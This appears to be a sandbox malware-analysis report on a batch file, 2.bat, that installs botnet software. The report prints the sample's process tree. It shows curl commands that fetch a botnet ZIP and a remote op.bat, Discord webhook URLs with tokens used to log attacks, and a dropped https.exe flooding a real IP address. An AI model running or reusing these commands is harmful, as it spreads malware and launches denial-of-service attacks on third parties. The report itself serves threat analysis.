91d4f69edd266840e549e4470edb9c51289abf84c7f7e4ef22ce157c75932112

Analysis

max time kernel
147s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
18/08/2023, 02:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2.bat
Size

778B
MD5

a33d8f86256aa8f7a8cb7d42707ee267
SHA1

cda0d5614da462696a56f164cd091c01caa6b01b
SHA256

91d4f69edd266840e549e4470edb9c51289abf84c7f7e4ef22ce157c75932112
SHA512

e733a716b5e04fc97ca4c46b866b7ce21b9a9b27f7d2e6c7a4097b314a5f8bc883598f70026ff530a46b3f2d9439bc2154fc8d5ec746c0339e75b9c1c5ae3d85

Score

9^/10

discovery

Malware Config

Signatures

Contacts a large (7650) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Executes dropped EXE 3 IoCs

pid	Process
3860	forvmbox.exe
2328	https.exe
2132	https.exe

Unexpected DNS network traffic destination 3 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.222.222

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3812	timeout.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2548	powershell.exe
2548	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2548	powershell.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 3328 wrote to memory of 4168	3328	cmd.exe	81
PID 3328 wrote to memory of 4168	3328	cmd.exe	81
PID 3328 wrote to memory of 2548	3328	cmd.exe	83
PID 3328 wrote to memory of 2548	3328	cmd.exe	83
PID 3328 wrote to memory of 3860	3328	cmd.exe	91
PID 3328 wrote to memory of 3860	3328	cmd.exe	91
PID 3328 wrote to memory of 3860	3328	cmd.exe	91
PID 3328 wrote to memory of 3444	3328	cmd.exe	94
PID 3328 wrote to memory of 3444	3328	cmd.exe	94
PID 3444 wrote to memory of 4540	3444	cmd.exe	92
PID 3444 wrote to memory of 4540	3444	cmd.exe	92
PID 3444 wrote to memory of 756	3444	cmd.exe	93
PID 3444 wrote to memory of 756	3444	cmd.exe	93
PID 3328 wrote to memory of 4868	3328	cmd.exe	95
PID 3328 wrote to memory of 4868	3328	cmd.exe	95
PID 3860 wrote to memory of 4420	3860	forvmbox.exe	97
PID 3860 wrote to memory of 4420	3860	forvmbox.exe	97
PID 4420 wrote to memory of 3304	4420	cmd.exe	98
PID 4420 wrote to memory of 3304	4420	cmd.exe	98
PID 4420 wrote to memory of 3156	4420	cmd.exe	102
PID 4420 wrote to memory of 3156	4420	cmd.exe	102
PID 4420 wrote to memory of 2328	4420	cmd.exe	103
PID 4420 wrote to memory of 2328	4420	cmd.exe	103
PID 4420 wrote to memory of 4440	4420	cmd.exe	106
PID 4420 wrote to memory of 4440	4420	cmd.exe	106
PID 4420 wrote to memory of 3812	4420	cmd.exe	107
PID 4420 wrote to memory of 3812	4420	cmd.exe	107
PID 4420 wrote to memory of 2860	4420	cmd.exe	108
PID 4420 wrote to memory of 2860	4420	cmd.exe	108
PID 4420 wrote to memory of 3984	4420	cmd.exe	109
PID 4420 wrote to memory of 3984	4420	cmd.exe	109
PID 4420 wrote to memory of 2132	4420	cmd.exe	110
PID 4420 wrote to memory of 2132	4420	cmd.exe	110

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3328
- C:\Windows\system32\curl.exe
  curl -o botnet.zip https://cdn.discordapp.com/attachments/1134556559578517677/1141848588612276304/botney.zip
  2⤵
  PID:4168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Expand-Archive -Path 'botnet.zip' -DestinationPath 'C:\Users\Admin\Desktop'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2548
- C:\Users\Admin\Desktop\forvmbox.exe
  forvmbox.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3860
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\6F8E.tmp\6F8F.tmp\6F90.bat C:\Users\Admin\Desktop\forvmbox.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4420
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3304
  - - C:\Windows\system32\curl.exe
      curl -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": null, \"embeds\": [{\"title\": \"Attack :=: https http://88.198.48.45 36000 50 {}\", \"description\": \" Fri 08/18/2023-50 / \",\"color\": 1127128,\"author\": {\"name\": \"MLBOT BOTNET API LOG\",\"icon_url\": \"https://cdn.discordapp.com/attachments/353651119685107714/1078725179850637372/danger_death_head_internet_security_skull_virus_icon_127111.png\"}}],\"attachments\": []}" https://discord.com/api/webhooks/1140675610524532868/T1taUTk6bStR2J1f9uoXFj7PQAMLD1T1yXMewAm481PLreURT2PLhzfvxpkEb4JO9VJy
      4⤵
      PID:3156
  - - C:\Users\Admin\Desktop\attacks\methods\https.exe
      https.exe http://88.198.48.45 50
      4⤵
      Executes dropped EXE
      PID:2328
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4440
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3812
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2860
  - - C:\Windows\system32\curl.exe
      curl -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": null, \"embeds\": [{\"title\": \"Attack :=: https http://88.198.48.45 37000 60 {}\", \"description\": \" Fri 08/18/2023-60 / \",\"color\": 1127128,\"author\": {\"name\": \"MLBOT BOTNET API LOG\",\"icon_url\": \"https://cdn.discordapp.com/attachments/353651119685107714/1078725179850637372/danger_death_head_internet_security_skull_virus_icon_127111.png\"}}],\"attachments\": []}" https://discord.com/api/webhooks/1140675610524532868/T1taUTk6bStR2J1f9uoXFj7PQAMLD1T1yXMewAm481PLreURT2PLhzfvxpkEb4JO9VJy
      4⤵
      PID:3984
  - - C:\Users\Admin\Desktop\attacks\methods\https.exe
      https.exe http://88.198.48.45 60
      4⤵
      Executes dropped EXE
      PID:2132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com 2>NUL|find "Address:"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3444
- C:\Windows\system32\curl.exe
  curl -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{"content": "[ 2:51:12.85] BOT Connected to the api's 154.61.71.13 "}" https://discordapp.com/api/webhooks/1141892147268825178/IUMXKjBRDq-zmxzBqpZbXQgYYk64aCQAcwIC-bjly2VLNDVY2HwNkC-VMLnXgFk3UFVz
  2⤵
  PID:4868

C:\Windows\system32\nslookup.exe
nslookup myip.opendns.com. resolver1.opendns.com
1⤵
PID:4540

C:\Windows\system32\find.exe
find "Address:"
1⤵
PID:756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\6F8E.tmp\6F8F.tmp\6F90.bat

Filesize
3KB

MD5
d5f935d0b2ddc1212f762ebe21bcb2ae

SHA1
59a320dce6123484a146bcdeac43277b39ca03cb

SHA256
7a68493dbb79471fc0fa27ab7f57380d199fff07c881588c72819426c5c740d7

SHA512
14864ebedaa6c1a6773dc768d9d5d3ed7f102d2aaaa6f09f32f5ee9a75ab738a256ca686c7b3e2f3b65e632610bff6e8cc26da10732b2546863cb94ec84fb76d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nepdcjcx.4ug.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
292B

MD5
26836c2b013016cca81ca5a236dabbab

SHA1
3413b69afea3167c57898a9faa5f770480639949

SHA256
05ca3f40c2bbe7b7ba52fbdfa552cd6a52de4e5200991562266bad2eb21fea45

SHA512
4f37864888e1d1a244ba220775d5d0aa0a51de02dbc68a63bc8eba129142e0711a33bae48686debd5be88b410b86c7dcbf92a89c3bf93882d428861d2a6a50ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
292B

MD5
26836c2b013016cca81ca5a236dabbab

SHA1
3413b69afea3167c57898a9faa5f770480639949

SHA256
05ca3f40c2bbe7b7ba52fbdfa552cd6a52de4e5200991562266bad2eb21fea45

SHA512
4f37864888e1d1a244ba220775d5d0aa0a51de02dbc68a63bc8eba129142e0711a33bae48686debd5be88b410b86c7dcbf92a89c3bf93882d428861d2a6a50ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
292B

MD5
6e89c9322ed354ed0a64457571d45f73

SHA1
5897c112a143482d13e4f5848066093b24103a28

SHA256
ff49f203af3d9403fa75964179d8cfb1ac1469befe2344cc3a441c809288d785

SHA512
0cfc4b8447c69d0229ba473e99716600bd707d610498416658170ce9f9522ad692825bc7e33e6ef8889bf8d3cae1e53134d794b2fd5b38d179078c23a9845168

Download Submit
C:\Users\Admin\Desktop\attacks\methods\https.exe

Filesize
35.9MB

MD5
70228b5cd219e39ddf20122c56b3866f

SHA1
c3120ad1ca629d707a7220963ad2326c2b096f37

SHA256
a5538de4385e4c1869e63cd3094e8d43efbae23377c153d9ef9ff772f169cfb5

SHA512
bae73c538df3d574451963942048e639f8a1811e0498fd741dc23510dc0702ba5f6553381e81947e9da45059c8b2eda8db75e03dba54dea486c8c87c29a50654

Download Submit
C:\Users\Admin\Desktop\attacks\methods\https.exe

Filesize
35.9MB

MD5
70228b5cd219e39ddf20122c56b3866f

SHA1
c3120ad1ca629d707a7220963ad2326c2b096f37

SHA256
a5538de4385e4c1869e63cd3094e8d43efbae23377c153d9ef9ff772f169cfb5

SHA512
bae73c538df3d574451963942048e639f8a1811e0498fd741dc23510dc0702ba5f6553381e81947e9da45059c8b2eda8db75e03dba54dea486c8c87c29a50654

Download Submit
C:\Users\Admin\Desktop\attacks\methods\https.exe

Filesize
35.9MB

MD5
70228b5cd219e39ddf20122c56b3866f

SHA1
c3120ad1ca629d707a7220963ad2326c2b096f37

SHA256
a5538de4385e4c1869e63cd3094e8d43efbae23377c153d9ef9ff772f169cfb5

SHA512
bae73c538df3d574451963942048e639f8a1811e0498fd741dc23510dc0702ba5f6553381e81947e9da45059c8b2eda8db75e03dba54dea486c8c87c29a50654

Download Submit
C:\Users\Admin\Desktop\attacks\methods\https.exe

Filesize
35.9MB

MD5
70228b5cd219e39ddf20122c56b3866f

SHA1
c3120ad1ca629d707a7220963ad2326c2b096f37

SHA256
a5538de4385e4c1869e63cd3094e8d43efbae23377c153d9ef9ff772f169cfb5

SHA512
bae73c538df3d574451963942048e639f8a1811e0498fd741dc23510dc0702ba5f6553381e81947e9da45059c8b2eda8db75e03dba54dea486c8c87c29a50654

Download Submit
C:\Users\Admin\Desktop\attacks\methods\list.txt

Filesize
166KB

MD5
c9ec822e89345dde18682eefc59f5277

SHA1
51886c4a2678d9b90d7254615b833c7183d7f846

SHA256
a3f18997f21d6f962354e6c8addc46899f934d798b142e0d8adad976dfb8a5bc

SHA512
191b2eedf88aa41e6d777bf63628c0417b7694d7dbf75e66f081242f950aba9beb29b3908496fe878f84e57ac7026c46f48d57f12becda525a311713019d2dd7

Download Submit
C:\Users\Admin\Desktop\attacks\methods\tlsv\.git\logs\refs\remotes\origin\HEAD

Filesize
186B

MD5
bfd3d0748ac3a838d224d452d6d5959f

SHA1
9506c3eba5b8fa602290a75597e2ef720767c5d6

SHA256
84ec21b7d8415b974e444e6e230a68a934719a7da452eb0f21ff4ff716e13ba5

SHA512
bef9d23bf2a0a5811c51684e933dba127f817a8dc4b7a0deedbc53af9beb64ab245dfa722b94f10defcbe311b448a6e593173639adb4069d076104ad6848a680

Download Submit
C:\Users\Admin\Desktop\attacks\methods\ua.txt

Filesize
611KB

MD5
14e1ad3a0e97916d917ae0b6687cd200

SHA1
d5154b85ad162f3f5714f9d578dfb4fca9b6af63

SHA256
1a6de1acb8f22f98e2ada85b8cc4a9dab5233c16a60205c726e3366f1d6fc8ff

SHA512
11ddcf49a59f11f619db09e39eb4deb4de80a2c1721452beac8df3cf1ec59c7b9193737beea078a297b6b79adbecf05342e3bac4af26ab9c6e9c60096d01b791

Download Submit
C:\Users\Admin\Desktop\botnet.zip

Filesize
102.2MB

MD5
85b96d8fc5082fcdfa23e010bf0e09b1

SHA1
0dc1081497ba72a3ed819a15ad5d5cd3e881d0ab

SHA256
48e93dc99bc3464f3a7c1e9ca1b35084b267baf5087986360e711e65266e4d23

SHA512
c3688c7e3135c81278c4952bf61aec38ef399f993ffb60d8939fe1e47d9b9adb54f87d14239beb98405d7d63378abfa075a906728c57de7f1dc52c27eea50789

Download Submit
C:\Users\Admin\Desktop\forvmbox.exe

Filesize
92KB

MD5
8c661213d9bbfb8a9a3d42c6b6cb7059

SHA1
9f795650dfbac6f49896026b047d16f3a0c16ec9

SHA256
3a02fcf8821a21bafcdc5273eccce353036dd48ffd5c5f91a1d47e5a9fa243ce

SHA512
d21b5b738857535c6eb181636ab78c08d872d33b5b18dff50ab694f6d1afe335db321767720a0a5ab056c3c03e98195dd4086f7eb8e21abf25ff3c0ac75bf0d4

Download Submit
C:\Users\Admin\Desktop\forvmbox.exe

Filesize
92KB

MD5
8c661213d9bbfb8a9a3d42c6b6cb7059

SHA1
9f795650dfbac6f49896026b047d16f3a0c16ec9

SHA256
3a02fcf8821a21bafcdc5273eccce353036dd48ffd5c5f91a1d47e5a9fa243ce

SHA512
d21b5b738857535c6eb181636ab78c08d872d33b5b18dff50ab694f6d1afe335db321767720a0a5ab056c3c03e98195dd4086f7eb8e21abf25ff3c0ac75bf0d4

Download Submit
memory/2548-149-0x0000027CC43E0000-0x0000027CC43EA000-memory.dmp

Filesize
40KB

Download
memory/2548-286-0x00007FF900950000-0x00007FF901411000-memory.dmp

Filesize
10.8MB

Download
memory/2548-208-0x0000027CC3580000-0x0000027CC3590000-memory.dmp

Filesize
64KB

Download
memory/2548-227-0x0000027CC3580000-0x0000027CC3590000-memory.dmp

Filesize
64KB

Download
memory/2548-148-0x0000027CC4540000-0x0000027CC4552000-memory.dmp

Filesize
72KB

Download
memory/2548-147-0x0000027CC3580000-0x0000027CC3590000-memory.dmp

Filesize
64KB

Download
memory/2548-146-0x0000027CC3580000-0x0000027CC3590000-memory.dmp

Filesize
64KB

Download
memory/2548-187-0x00007FF900950000-0x00007FF901411000-memory.dmp

Filesize
10.8MB

Download
memory/2548-145-0x0000027CC3580000-0x0000027CC3590000-memory.dmp

Filesize
64KB

Download
memory/2548-144-0x00007FF900950000-0x00007FF901411000-memory.dmp

Filesize
10.8MB

Download
memory/2548-143-0x0000027CC3700000-0x0000027CC3722000-memory.dmp

Filesize
136KB

Download